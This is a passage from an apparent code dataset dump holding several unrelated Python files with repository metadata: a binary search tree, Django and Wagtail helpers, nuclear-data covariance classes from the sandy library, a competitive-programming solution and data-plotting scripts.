然后,我们需要定义一个二叉搜索树类,它包含一个根节点,并有插入、查找和删除的方法。\n\n# 插入方法的步骤如下:\n\n# 如果树为空,新节点就是根节点。\n# 否则,我们比较新节点和当前节点的值。\n# 如果新节点的值小于当前节点的值,我们将其插入到左子树。\n# 如果新节点的值大于当前节点的值,我们将其插入到右子树。\n# 查找方法的步骤如下:\n\n# 如果树为空,返回None。\n# 否则,我们比较目标值和当前节点的值。\n# 如果目标值等于当前节点的值,返回当前节点。\n# 如果目标值小于当前节点的值,我们在左子树中查找。\n# 如果目标值大于当前节点的值,我们在右子树中查找。\n# 删除方法的步骤如下:\n\n# 首先,我们需要找到要删除的节点。\n# 如果要删除的节点没有子节点,我们可以直接删除它。\n# 如果要删除的节点只有一个子节点,我们可以将其子节点替换为当前节点。\n# 如果要删除的节点有两个子节点,我们需要找到右子树中的最小节点来替换当前节点。\n\n\n\nclass Node:\n def __init__(self, value):\n self.value = value\n self.left = None\n self.right = None\n\nclass BinarySearchTree:\n def __init__(self):\n self.root = None\n\n def insert(self, value):\n if self.root is None:\n self.root = Node(value)\n else:\n self._insert(value, self.root)\n\n def _insert(self, value, node):\n if value < node.value:\n if node.left is None:\n node.left = Node(value)\n else:\n self._insert(value, node.left)\n elif value > node.value:\n if node.right is None:\n node.right = Node(value)\n else:\n self._insert(value, node.right)\n\n def find(self, value):\n if self.root is None:\n return None\n else:\n return self._find(value, self.root)\n\n def _find(self, value, node):\n if value == node.value:\n return node\n elif value < node.value and node.left is not None:\n return self._find(value, node.left)\n elif value > node.value and node.right is not None:\n return self._find(value, node.right)\n\n def delete(self, value):\n self.root = self._delete(value, self.root)\n\n def _delete(self, value, node):\n if node is None:\n return node\n if value < node.value:\n node.left = self._delete(value, node.left)\n elif value > node.value:\n node.right = self._delete(value, node.right)\n else:\n if node.left is None:\n return node.right\n elif node.right is None:\n return node.left\n else:\n temp = self._findMin(node.right)\n node.value = temp.value\n node.right = self._delete(node.value, node.right)\n return node\n\n def _findMin(self, node):\n if node.left is None:\n return node\n else:\n return self._findMin(node.left)","repo_name":"samprasgit/Leetcode-Notes","sub_path":"二叉树/二叉搜索树.py","file_name":"二叉搜索树.py","file_ext":"py","file_size_in_byte":3368,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"35994506953","text":"from django.contrib.auth.models import Permission\n\nfrom m3_ext.ui import all_components as ext\n\nfrom objectpack.ui import BaseEditWindow\nfrom objectpack.actions import ObjectPack\n\nfrom .content_type import ContentTypePack\n\n\nclass PermissionAddWindow(BaseEditWindow):\n\n def _init_components(self):\n super(PermissionAddWindow, self)._init_components()\n\n self.field__name = ext.ExtStringField(\n label=u'name',\n name='name',\n allow_blank=False,\n anchor='100%')\n\n self.field__codename = ext.ExtStringField(\n label=u'codename',\n name='codename',\n allow_blank=False,\n anchor='100%')\n\n self.field__content_type = ext.ExtDictSelectField(\n label=u'content-type',\n name='content_type_id',\n anchor='100%',\n pack=ContentTypePack\n )\n\n def _do_layout(self):\n super(PermissionAddWindow, self)._do_layout()\n self.form.items.extend((\n self.field__name,\n self.field__codename,\n self.field__content_type,\n ))\n\n def set_params(self, params):\n super(PermissionAddWindow, self).set_params(params)\n self.height = 'auto'\n\n\nclass PermissionPack(ObjectPack):\n\n model = Permission\n add_window = edit_window = PermissionAddWindow\n add_to_menu = True\n add_to_desktop = True\n\n","repo_name":"NikitolProject/m3_project","sub_path":"m3_project/app/actions/permission.py","file_name":"permission.py","file_ext":"py","file_size_in_byte":1401,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"7374039353","text":"#Visualization Fn\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom sklearn.preprocessing import normalize\nfrom network import *\nfrom hamiltonian import *\n\n\ndef Visualize(network):\n\tnx = np.linspace(0,10,11)\n\tny = np.linspace(0,10,11)\n\n\n\tx,y = np.meshgrid(nx,ny)\n\n\tz = np.zeros(np.shape(x))\n\n\tfor i in range(len(nx)):\n\t for j in range(len(ny)):\n\t #rint(network.psi(np.array([x[i,j],y[i,j]])))\n\t #z[i,j] = network.psi(np.array([x[i,j],y[i,j]]))\n\t z[i,j] = network.psi(np.array([x[i,j],y[i,j]]))\n\t\n\t#z[np.abs(z) > 600] = 0\n\n\t# Normalize z\n\tz = normalize(z)\n\n\tfig = plt.figure()\n\tax = fig.gca(projection='3d')\n\tax.plot_surface(x,y,z)\n\tplt.savefig('200-50000.png')\n\tplt.show()\n\n\t# fig = plt.figure()\n\t# ax = fig.add_subplot(1, 1, 1, projection='3d')\n\t# ax.contour3D(x, y, z, 150, cmap='binary', alpha=1.)\n\t# ax.view_init(0, 0) # elevation, azimuth\n\t# ax.set_xlabel('nx')\n\t# ax.set_ylabel('ny')\n\t# ax.set_zlabel('')\n\t# plt.title(\"\")\n\t# plt.legend()\n\t# plt.show()\t","repo_name":"jjjhung/quantum-variational-principle","sub_path":"visualization.py","file_name":"visualization.py","file_ext":"py","file_size_in_byte":1030,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"38512731630","text":"import pytest\r\nimport os\r\nimport logging\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\nimport sandy\r\nfrom .basecov import BaseCov\r\n\r\n__author__ = \"Luca Fiorito\"\r\n__all__ = [\r\n \"XsCov\",\r\n ]\r\n\r\n\r\nclass XsCov(BaseCov):\r\n \"\"\"Dataframe to contain cross section/nubar covariance matrices.\r\n Covariances can be stored for:\r\n\r\n - individual reactions,\r\n - cross reactions,\r\n - cross isotopes,\r\n - cross sections vs nubar\r\n\r\n **Index**:\r\n\r\n - MAT : (`int`) MAT number to identify the isotope\r\n - MT : (`int`) MT number to identify the reaction\r\n - E : (`float`) energy of the incident particle\r\n\r\n **Columns**:\r\n\r\n - MAT : (`int`) MAT number to identify the isotope\r\n - MT : (`int`) MT number to identify the reaction\r\n - E : (`float`) energy of the incident particle\r\n\r\n **Values**: matrix coefficients\r\n\r\n Methods\r\n -------\r\n from_endf6\r\n extract global cross section/nubar covariance matrix from\r\n `sandy.formats.endf6.Endf6` instance\r\n from_errorr\r\n extract global cross section/nubar covariance matrix from\r\n `sandy.formats.errorr.Errorr` instance\r\n of `sandy.formats.utils.EnergyCov` instances\r\n get_samples\r\n extract perturbations from global cross section/nubar covariance matrix\r\n get_section\r\n extract section of global cross section/nubar covariance matrix as a\r\n `sandy.formats.utils.EnergyCov` instance\r\n \"\"\"\r\n\r\n labels = [\"MAT\", \"MT\", \"E\"]\r\n\r\n def __init__(self, *args, **kwargs):\r\n super().__init__(*args, dtype=float, **kwargs)\r\n index = self.index\r\n columns = self.columns\r\n self.index = index.set_levels([index.levels[0].astype(int), index.levels[1].astype(int), index.levels[2].astype(float)])\r\n self.columns = columns.set_levels([columns.levels[0].astype(int), columns.levels[1].astype(int), columns.levels[2].astype(float)])\r\n self.index.names = self.labels\r\n self.columns.names = self.labels\r\n\r\n def get_samples(self, nsmp, eig=0, seed=None):\r\n cov = self.to_matrix()\r\n frame = pd.DataFrame(cov.sampling(nsmp, seed=seed) + 1, index=self.index, columns=range(1,nsmp+1))\r\n frame.columns.name = 'SMP'\r\n if eig > 0 and nsmp > 1:\r\n eigs = cov.eig()[0]\r\n idxs = np.abs(eigs).argsort()[::-1]\r\n dim = min(len(eigs), eig)\r\n eigs_smp = sandy.formats.utils.Cov(np.cov(frame.values)).eig()[0]\r\n idxs_smp = np.abs(eigs_smp).argsort()[::-1]\r\n print(\"MF[31,33] eigenvalues:\\n{:^10}{:^10}{:^10}\".format(\"EVAL\", \"SAMPLES\",\"DIFF %\"))\r\n diff = sandy.functions.div0(eigs[idxs]-eigs_smp[idxs_smp], eigs[idxs], value=np.NaN)*100.\r\n E = [\"{:^10.2E}{:^10.2E}{:^10.1F}\".format(a,b,c) for a,b,c in zip(eigs[idxs][:dim], eigs_smp[idxs_smp][:dim], diff[:dim])]\r\n print(\"\\n\".join(E))\r\n return frame\r\n\r\n def get_section(self, mat, mt, mat1, mt1):\r\n \"\"\"\r\n Extract section of the global covariance/correlation matrix.\r\n A section is defined by a unique combination of MAT/MT and MAT1/MT1\r\n numbers.\r\n\r\n Parameters\r\n ----------\r\n mat : `int`\r\n MAT number for index\r\n mt : `int`\r\n MAT number for index\r\n mat1 : `int`\r\n MAT number for columns\r\n mt1 : `int`\r\n MT number for columns\r\n\r\n Returns\r\n -------\r\n `sandy.EnergyCov`\r\n section of the global covariance matrix\r\n \"\"\"\r\n df = self.loc[(mat, mt), (mat1, mt1)]\r\n return sandy.EnergyCov(df)\r\n\r\n def _change_energy_grid(self, mat, mt, new_grid):\r\n df = self.index.to_frame(index=False)\r\n listdf = []\r\n for (mat_,mt_),edf in df.groupby([\"MAT\", \"MT\"]):\r\n if mat_ == mat and mt_ == mt:\r\n edf = pd.MultiIndex.from_product([[mat],[mt],new_grid], names=[\"MAT\",\"MT\",\"E\"]).to_frame(index=False)\r\n listdf.append(edf)\r\n df = pd.concat(listdf, ignore_index=True)\r\n index = df.set_index(['MAT', 'MT', \"E\"]).index\r\n cov = self.reindex(index=index, method=\"ffill\").reindex(columns=index, method=\"ffill\").fillna(0)\r\n return self.__class__(cov)\r\n\r\n @classmethod\r\n def from_endf6(cls, endf6):\r\n \"\"\"\r\n Extract cross section/nubar covariance from `Endf6` instance.\r\n\r\n Parameters\r\n ----------\r\n endf6 : `sandy.formats.endf6.Endf6`\r\n `Endf6` instance containing covariance sections\r\n\r\n Returns\r\n -------\r\n `XsCov`\r\n global xs/nubar covariance matrix from ENDF6 file\r\n \"\"\"\r\n tape = endf6.filter_by(listmf=[31, 33])\r\n data = []\r\n for mat, mf, mt in tape.data:\r\n sec = tape.read_section(mat, mf, mt)\r\n for sub in sec[\"SUB\"].values():\r\n mat1 = sub['MAT1'] if sub['MAT1'] != 0 else mat\r\n mt1 = sub['MT1']\r\n covs = []\r\n # Loop NI-type covariances\r\n for nisec in sub[\"NI\"].values():\r\n lb = nisec[\"LB\"]\r\n if lb == 5:\r\n if nisec[\"LS\"] == 0:\r\n foo = sandy.EnergyCov.from_lb5_asym\r\n else:\r\n foo = sandy.EnergyCov.from_lb5_sym\r\n cov = foo(nisec[\"EK\"], nisec[\"FKK\"])\r\n elif lb == 1:\r\n foo = sandy.EnergyCov.from_lb1\r\n cov = foo(nisec[\"EK\"], nisec[\"FK\"])\r\n elif lb == 2:\r\n foo = sandy.EnergyCov.from_lb2\r\n cov = foo(nisec[\"EK\"], nisec[\"FK\"])\r\n elif lb == 6:\r\n foo = sandy.EnergyCov.from_lb6\r\n cov = foo(nisec[\"EK\"], nisec[\"EL\"], nisec[\"FKL\"])\r\n else:\r\n logging.warning(f\"skip 'LB={lb}' covariance for\"\r\n f\" [({mat}/{mt}), ({mat1}/{mt1})]\")\r\n continue\r\n covs.append(cov)\r\n if not covs:\r\n continue\r\n cov = sandy.EnergyCov.sum_covs(*covs)\r\n if not cov.data.any(axis=None):\r\n logging.warn(f\"\\tempty covariance for \"\r\n f\"'({mat}/{mt}), ({mat1}/{mt1})'\")\r\n continue\r\n key1 = mat, mt\r\n key2 = mat1, mt1\r\n data.append([key1, key2, cov])\r\n# data.append([mat, mt, mat1, mt1, cov])\r\n if not data:\r\n raise sandy.Error(\"no xs covariance was found\")\r\n df = pd.DataFrame(data)\r\n return cls._from_list(df)\r\n\r\n# @classmethod\r\n# def from_endf6(cls, endf6):\r\n# \"\"\"\r\n# Extract cross section/nubar covariance from `Endf6` instance.\r\n#\r\n# Parameters\r\n# ----------\r\n# endf6 : `sandy.formats.endf6.Endf6`\r\n# `Endf6` instance containing covariance sections\r\n#\r\n# Returns\r\n# -------\r\n# `XsCov`\r\n# global xs/nubar covariance matrix from ENDF6 file\r\n# \"\"\"\r\n# tape = endf6.filter_by(listmf=[31, 33])\r\n# data = []\r\n# # Loop MF/MT\r\n# logging.debug(\"found {} covariance sections\".format(len(tape)))\r\n# for (mat,mf,mt), text in tape.TEXT.iteritems():\r\n# X = tape.read_section(mat, mf, mt)\r\n# # Loop subsections\r\n# logging.debug(\"reading section MAT={}/MF={}/MT={}\".format(mat, mf, mt))\r\n# logging.debug(\"found {} subsections\".format(len(X[\"SUB\"])))\r\n# for sub in X[\"SUB\"].values():\r\n# mat1 = sub['MAT1'] if sub['MAT1'] != 0 else mat\r\n# mt1 = sub['MT1']\r\n# logging.debug(\"\\treading subsection MAT1={}/MT1={}\".format(mat1, mt1))\r\n# logging.debug(\"\\tfound {} NI-type sub-subsection\".format(len(sub[\"NI\"])))\r\n# covs = []\r\n# # Loop NI-type covariances\r\n# for i,nisec in sub[\"NI\"].items():\r\n# logging.debug(\"\\t\\treconstruct covariance from NI-type section LB={}\".format(nisec[\"LB\"]))\r\n# if nisec[\"LB\"] == 5:\r\n# foo = sandy.EnergyCov.from_lb5_asym if nisec[\"LS\"] == 0 else sandy.EnergyCov.from_lb5_sym\r\n# cov = foo(nisec[\"EK\"], nisec[\"FKK\"])\r\n# covs.append(cov)\r\n# elif nisec[\"LB\"] == 1:\r\n# cov = sandy.EnergyCov.from_lb1(nisec[\"EK\"], nisec[\"FK\"])\r\n# covs.append(cov)\r\n# elif nisec[\"LB\"] == 2:\r\n# cov = sandy.EnergyCov.from_lb2(nisec[\"EK\"], nisec[\"FK\"])\r\n# covs.append(cov)\r\n# elif nisec[\"LB\"] == 6:\r\n# cov = sandy.EnergyCov.from_lb6(nisec[\"EK\"], nisec[\"EL\"], nisec[\"FKL\"])\r\n# covs.append(cov)\r\n# else:\r\n# logging.warn(\"skip LB={} covariance for [({}/{}), ({}/{})]\".format(nisec[\"LB\"], mat, mt, mat1, mt1))\r\n# continue\r\n# if len(covs) == 0:\r\n# logging.debug(\"\\tsubsection MAT1={}/MT1={} did not provide accetable covariances\".format(mat1, mt1))\r\n# continue\r\n# cov = sandy.EnergyCov.sum_covs(*covs)\r\n# if cov.all().all():\r\n# logging.warn(\"\\tempty covariance for [({}/{}), ({}/{})]\".format(mat, mt, mat1, mt1))\r\n# continue\r\n# data.append([(mat,mt), (mat1,mt1), cov])\r\n# if not data:\r\n# logging.warn(\"no xs covariance was found\")\r\n# return pd.DataFrame()\r\n# return cls._from_list(data)\r\n\r\n @classmethod\r\n def from_errorr(cls, errorr):\r\n \"\"\"Extract cross section/nubar covariance from `Errorr` instance.\r\n \r\n Parameters\r\n ----------\r\n errorr : `sandy.formats.endf6.Errorr`\r\n `Errorr` instance containing covariance sections\r\n \r\n Returns\r\n -------\r\n `XsCov`\r\n global xs/nubar covariance matrix from ERRORR file\r\n \"\"\"\r\n tape = errorr.filter_by(listmf=[31,33])\r\n eg = errorr.energy_grid\r\n data = []\r\n # Loop MF/MT\r\n logging.debug(\"found {} covariance sections\".format(len(tape)))\r\n for (mat,mf,mt), text in tape.TEXT.iteritems():\r\n X = tape.read_section(mat, mf, mt)\r\n # Loop subsections\r\n logging.debug(\"reading section MAT={}/MF={}/MT={}\".format(mat, mf, mt))\r\n logging.debug(\"found {} subsections\".format(len(X[\"RP\"])))\r\n for mt1,cov in X[\"RP\"].items():\r\n logging.debug(\"\\treading subsection MAT1={}/MT1={}\".format(mat, mt1))\r\n # add zero row and column at the end of the matrix (this must be done for ERRORR covariance matrices)\r\n cov = np.insert(cov, cov.shape[0], [0]*cov.shape[1], axis=0)\r\n cov = np.insert(cov, cov.shape[1], [0]*cov.shape[0], axis=1)\r\n cov = sandy.EnergyCov(cov, index=eg, columns=eg)\r\n data.append([(mat, mt), (mat, mt1), cov])\r\n if not data:\r\n logging.warn(\"no xs covariance was found\")\r\n return pd.DataFrame()\r\n return cls._from_list(data)\r\n\r\n @classmethod\r\n def from_csv(cls, file, **kwargs):\r\n \"\"\"\r\n Read multigroup xs covariance matrix from csv file.\r\n\r\n Parameters\r\n ----------\r\n file : `str`\r\n csv file\r\n **kwargs : keyword arguments, optional\r\n keyword arguments to pass to `pandas.DataFrame`\r\n\r\n Returns\r\n -------\r\n `XsCov`\r\n multi-group cross secrion covariance matrix object\r\n \"\"\"\r\n df = pd.read_csv(\r\n file,\r\n header=[0, 1, 2],\r\n index_col=[0, 1, 2],\r\n )\r\n return cls(df, **kwargs)\r\n\r\n\r\nclass XsCov2():\r\n \"\"\"\r\n Attributes\r\n ----------\r\n data : `pandas.DataFrame`\r\n\r\n Methods\r\n -------\r\n from_endf6\r\n extract cross section/nubar covariance from `Endf6` instance\r\n get_samples\r\n extract perturbations from global cross section/nubar covariance matrix\r\n get_section\r\n extract section of the global covariance/correlation matrix\r\n \"\"\"\r\n\r\n labels = [\"MAT\", \"MT\", \"MAT1\", \"MT1\", \"COV\"]\r\n\r\n def __repr__(self):\r\n return self.data.__repr__()\r\n\r\n def __init__(self, data):\r\n self.data = data\r\n\r\n @property\r\n def data(self):\r\n return self._data\r\n\r\n @data.setter\r\n def data(self, data):\r\n self._data = pd.DataFrame(data, columns=self.labels)\r\n\r\n def get_samples(self, nsmp, eig=0, seed=None):\r\n cov = self.to_matrix()\r\n frame = pd.DataFrame(cov.sampling(nsmp, seed=seed) + 1, index=self.index, columns=range(1,nsmp+1))\r\n frame.columns.name = 'SMP'\r\n if eig > 0 and nsmp > 1:\r\n eigs = cov.eig()[0]\r\n idxs = np.abs(eigs).argsort()[::-1]\r\n dim = min(len(eigs), eig)\r\n eigs_smp = sandy.formats.utils.Cov(np.cov(frame.values)).eig()[0]\r\n idxs_smp = np.abs(eigs_smp).argsort()[::-1]\r\n print(\"MF[31,33] eigenvalues:\\n{:^10}{:^10}{:^10}\".format(\"EVAL\", \"SAMPLES\",\"DIFF %\"))\r\n diff = sandy.functions.div0(eigs[idxs]-eigs_smp[idxs_smp], eigs[idxs], value=np.NaN)*100.\r\n E = [\"{:^10.2E}{:^10.2E}{:^10.1F}\".format(a,b,c) for a,b,c in zip(eigs[idxs][:dim], eigs_smp[idxs_smp][:dim], diff[:dim])]\r\n print(\"\\n\".join(E))\r\n return frame\r\n\r\n def get_section(self, mat, mt, mat1, mt1):\r\n \"\"\"\r\n Extract section of the global covariance/correlation matrix.\r\n A section is defined by a unique combination of MAT/MT and MAT1/MT1\r\n numbers.\r\n\r\n Parameters\r\n ----------\r\n mat : `int`\r\n MAT number for index\r\n mt : `int`\r\n MAT number for index\r\n mat1 : `int`\r\n MAT number for columns\r\n mt1 : `int`\r\n MT number for columns\r\n\r\n Returns\r\n -------\r\n `sandy.EnergyCov`\r\n section of the global covariance matrix\r\n\r\n Examples\r\n --------\r\n >>> cov1 = sandy.EnergyCov.random_corr(2, seed=1)\r\n >>> cov2 = sandy.EnergyCov.random_corr(2, seed=2)\r\n >>> xscov = XsCov2([[125, 2, 125, 2, cov1], [125, 102, 125, 102, cov2]])\r\n >>> out = xscov.data.groupby([\"MAT\", \"MT\", \"MAT1\", \"MT1\"]).agg(sandy.EnergyCov.sum_covs).reset_index()\r\n >>> assert out[out.MT==2].COV.squeeze().data.equals(cov1.data)\r\n\r\n >>> assert out[out.MT==102].COV.squeeze().data.equals(cov2.data)\r\n \"\"\"\r\n data = self.data.set_index(self.labels[:4]).loc[mat, mt, mat1, mt1]\r\n return sandy.EnergyCov.sum_covs(data)\r\n\r\n def append(self, mat, mt, mat1, mt1, cov, inplace=False):\r\n \"\"\"\r\n >>> cov = sandy.EnergyCov.random_corr(3, seed=1)\r\n >>> xscov = XsCov2([[125, 2, 125, 2, cov]])\r\n >>> xscov.append(1, 2, 3, 4, cov).data.shape\r\n (2, 5)\r\n \"\"\"\r\n# MAT MT MAT1 MT1 COV\r\n# 0 125 2 125 2 E 0.00000e+00 1.00000e+00\\nE ...\r\n# 1 1 2 3 4 E 0.00000e+00 1.00000e+00\\nE ...\r\n data = self.data\r\n new = pd.DataFrame([[mat, mt, mat1, mt1, cov]], columns=data.columns)\r\n out = pd.concat([data, new], ignore_index=True)\r\n if inplace:\r\n self.data = out\r\n else:\r\n return self.__class__(out)\r\n\r\n @classmethod\r\n def from_endf6(cls, endf6):\r\n \"\"\"\r\n Extract cross section/nubar covariance from `Endf6` instance.\r\n\r\n Parameters\r\n ----------\r\n endf6 : `sandy.formats.endf6.Endf6`\r\n `Endf6` instance containing covariance sections\r\n\r\n Returns\r\n -------\r\n `XsCov`\r\n global xs/nubar covariance matrix from ENDF6 file\r\n\r\n Examples\r\n --------\r\n Extract cross section covariance matrix from hydrogen file.\r\n >>> file = os.path.join(sandy.data.__path__[0], \"h1.endf\")\r\n >>> tape = sandy.Endf6.from_file(file)\r\n >>> XsCov2.from_endf6(tape)\r\n MAT MT MAT1 MT1 COV\r\n 0 125 2 125 2 E 1.00000e-05 1.00000e+05 5.00000...\r\n 1 125 102 125 102 E 1.00000e-05 1.00000e+05 5.00000...\r\n \"\"\"\r\n tape = endf6.filter_by(listmf=[31, 33])\r\n data = []\r\n for mat, mf, mt in tape.data:\r\n sec = tape.read_section(mat, mf, mt)\r\n for sub in sec[\"SUB\"].values():\r\n mat1 = sub['MAT1'] if sub['MAT1'] != 0 else mat\r\n mt1 = sub['MT1']\r\n # Loop NI-type covariances\r\n for nisec in sub[\"NI\"].values():\r\n lb = nisec[\"LB\"]\r\n if lb == 5:\r\n if nisec[\"LS\"] == 0:\r\n foo = sandy.EnergyCov.from_lb5_asym\r\n else:\r\n foo = sandy.EnergyCov.from_lb5_sym\r\n cov = foo(nisec[\"EK\"], nisec[\"FKK\"])\r\n elif lb == 1:\r\n foo = sandy.EnergyCov.from_lb1\r\n cov = foo(nisec[\"EK\"], nisec[\"FK\"])\r\n elif lb == 2:\r\n foo = sandy.EnergyCov.from_lb2\r\n cov = foo(nisec[\"EK\"], nisec[\"FK\"])\r\n elif lb == 6:\r\n foo = sandy.EnergyCov.from_lb6\r\n cov = foo(nisec[\"EK\"], nisec[\"EL\"], nisec[\"FKL\"])\r\n else:\r\n logging.warning(f\"skip 'LB={lb}' covariance matrix for\"\r\n f\" [({mat}/{mt}), ({mat1}/{mt1})]\")\r\n continue\r\n if not cov.data.any(axis=None):\r\n logging.warning(f\"empty covariance matrix for\"\r\n f\" '({mat}/{mt}), ({mat1}/{mt1})'\")\r\n continue\r\n data.append([\r\n mat,\r\n mt,\r\n mat1,\r\n mt1,\r\n cov,\r\n ])\r\n return cls(data)\r\n\r\n @classmethod\r\n def from_csv(cls, file, **kwargs):\r\n \"\"\"\r\n Read multigroup xs covariance matrix from csv file.\r\n\r\n Parameters\r\n ----------\r\n file : `str`\r\n csv file with 3 indices `(MAT, MT, E)` and 3 columns `(MAT, MT, E)`\r\n **kwargs : keyword arguments\r\n keyword arguments to pass to `pandas.DataFrame`\r\n\r\n Returns\r\n -------\r\n `XsCov`\r\n multi-group cross section covariance matrix object\r\n \"\"\"\r\n df = pd.read_csv(\r\n file,\r\n header=[0, 1, 2],\r\n index_col=[0, 1, 2],\r\n )\r\n return cls(df, **kwargs)\r\n","repo_name":"monleon96/sandy","sub_path":"sandy/core/xscov.py","file_name":"xscov.py","file_ext":"py","file_size_in_byte":19361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"62"} +{"seq_id":"41252752254","text":"# -*- coding: utf-8 -*-\r\n\r\n\r\ndef main():\r\n n = int(input())\r\n s = input()\r\n\r\n # KeyInsight\r\n # 条件を満たす場合を直接求めるのが難しい場合は、補集合を考える\r\n\r\n # R, G, Bは、それぞれ独立に扱える\r\n r_count = s.count('R')\r\n g_count = s.count('G')\r\n b_count = s.count('B')\r\n\r\n ans = r_count * g_count * b_count\r\n\r\n # i, jを固定して全探索\r\n # 常にi < jとなるように添字を振るのもポイント\r\n for j in range(n):\r\n for i in range(j):\r\n # kは、i, jから計算\r\n k = 2 * j - i\r\n\r\n # インデックスエラーを回避\r\n if k < n:\r\n if s[i] == s[j]:\r\n continue\r\n elif s[i] == s[k]:\r\n continue\r\n elif s[j] == s[k]:\r\n continue\r\n\r\n ans -= 1\r\n\r\n print(ans)\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"KATO-Hiro/AtCoder","sub_path":"ABC/abc151-abc200/abc162/d/d.py","file_name":"d.py","file_ext":"py","file_size_in_byte":966,"program_lang":"python","lang":"ja","doc_type":"code","stars":5,"dataset":"github-code","pt":"62"} +{"seq_id":"13412121046","text":"from datetime import date\nfrom django import template\nfrom django.conf import settings\nfrom home.models import Page\nfrom blog.models import BlogPage\nregister = template.Library()\n\n\n\n\n\n\n\n\ndef has_menu_children(page):\n return page.get_children().live().in_menu().exists()\n\n\n# Retrieves the top menu items - the immediate children of the parent page\n# The has_menu_children method is necessary because the bootstrap menu requires\n# a dropdown class to be applied to a parent\n@register.inclusion_tag('home/tags/top_menu.html', takes_context=True)\ndef top_menu(context, parent, calling_page=None):\n menuitems = parent.get_children().live().in_menu()\n for menuitem in menuitems:\n menuitem.show_dropdown = has_menu_children(menuitem)\n # We don't directly check if calling_page is None since the template\n # engine can pass an empty string to calling_page\n # if the variable passed as calling_page does not exist.\n menuitem.active = (calling_page.url.startswith(menuitem.url)\n if calling_page else False)\n\n return {\n 'calling_page': calling_page,\n 'menuitems': menuitems,\n # required by the pageurl tag that we want to use within this template\n 'request': context['request'],\n }\n\n\n# Retrieves the children of the top menu items for the drop downs\n@register.inclusion_tag('home/tags/top_menu_children.html', takes_context=True)\ndef top_menu_children(context, parent):\n menuitems_children = parent.get_children()\n menuitems_children = menuitems_children.live().in_menu()\n return {\n 'parent': parent,\n 'menuitems_children': menuitems_children,\n # required by the pageurl tag that we want to use within this template\n 'request': context['request'],\n }\n\n\n# Retrieves all live pages which are children of the calling page\n#for standard index listing\n@register.inclusion_tag(\n 'home/tags/standard_index_listing.html',\n takes_context=True\n)\ndef standard_index_listing(context, calling_page):\n pages = calling_page.get_children().live()\n return {\n 'pages': pages,\n # required by the pageurl tag that we want to use within this template\n 'request': context['request'],\n }\n\n\n\n\n# Blog feed for home page\n@register.inclusion_tag(\n 'home/tags/blog_listing_homepage.html',\n takes_context=True\n)\ndef blog_listing_homepage(context, count=2):\n blogs = BlogPage.objects.live().order_by('-date')\n return {\n 'blogs': blogs[:count].select_related('feed_image'),\n # required by the pageurl tag that we want to use within this template\n 'request': context['request'],\n }\n\n\n\n\n\n\n\n\n","repo_name":"chriswedgwood/chriswedgwood","sub_path":"home/templatetags/demo_tags.py","file_name":"demo_tags.py","file_ext":"py","file_size_in_byte":2663,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"74319340676","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\n# df = pd.read_csv(\"patient_final.csv\", index_col=0)\n# cols = df.columns\n# df = df[cols[-17:]]\ndf = pd.read_csv(\"PaO2_lab.csv\")\n# print(df[\"VALUEUOM\"].unique())\nprint(df.head())\ndef show_category(name):\n df[name] = df[name].astype(str)\n key = df.groupby(name).groups.keys()\n value = df[name].value_counts() \n\n plt.pie(value.values, labels= key, autopct='%1.1f%%', )\n plt.title(name)\n plt.show()\n\n\ndef hand_show_category(name):\n # df[name] = df[name].astype(str)\n # key = df[df[\"lactate\"].notnull()].groupby(name).groups.keys()\n # value = df[].count()\n # print(df[\"lactate\"].notnull().sum())\n plt.pie([df[\"lactate\"].notnull().sum(), len(df)-df[\"lactate\"].notnull().sum()], labels= [\"Not null\", \"null\"], autopct='%1.1f%%', )\n plt.title(name)\n plt.show()\n\n\ndef get_mean(x):\n # print(x)\n v1, v2 = x.replace(\"(\",\"\").replace(\"]\",\"\").split(\",\")\n print(v1 , v2)\n return ((float(v1) + float(v2)) / 2)\n\ndef show_bar(bins, series, name):\n height = 800\n std_ls = []\n series = series.astype(float)\n for i in range(3):\n std_ls.append(series.mean()+series.std()*(i+1))\n std_ls.append(series.mean()-series.std()*(i+1))\n for i in std_ls:\n l4 = plt.vlines(i, 0, height/4, label='Mean', linestyle='solid', colors=\"black\")\n plt.title(name)\n # plt.hist(series.values, int(bins), density=True)\n plt.hist(series.values, int(bins))\n plt.ylim(0, height)\n plt.xlim(series.min()-0.1, series.max()+0.1)\n l1 = plt.vlines(series.mean(), 0, height, label='Mean', linestyle='--')\n l2 = plt.vlines(series.max(), 0, height, label='Max', linestyle='--', colors=\"r\")\n l3 = plt.vlines(series.min(), 0, height, label='Min', linestyle='--', colors=\"b\")\n plt.legend(handles=[l1, l2, l3, l4], labels=[f\"Mean {series.mean():.6}\", f\"Max {series.max():.6}\", f\"Min {series.min():.6}\", f\"Std {series.std():.6}\"], loc='best')\n \n plt.show()\n\n\n\n #\n # pass\n\n# print(df.describe()[\"age\"])\n# print(df[\"glucose_blood\"].unique())\n# print(df[\"age\"].value_counts())\n\n# print(df[\"age\"].isna().sum())\n# print(df[\"day_of_die\"].notnull().sum())\n# print(df[\"day_of_die\"].describe())\n# print(df.groupby(\"day_of_die\").count())\n# print()\n# df[\"day_of_die\"] = df[\"day_of_die\"].apply(lambda x : 0 if x == -1 else x)\n# # print(df.describe()[\"day_of_die\"])\n\ndf[\"VALUENUM\"] = np.log1p(df[\"VALUENUM\"])\nshow_bar((df[\"VALUENUM\"].max() - df[\"VALUENUM\"].min())//0.1, df[df[\"VALUENUM\"].notnull()][\"VALUENUM\"], \"PaO2\")\n\n# show_category(\"die_in_h_long\")\n# hand_show_category(\"lactate\")","repo_name":"henry3556108/ML_Practice","sub_path":"health_datathon/data_process.py","file_name":"data_process.py","file_ext":"py","file_size_in_byte":2609,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"19442856331","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom modeling.backbone import build_backbone\nfrom modeling.extension 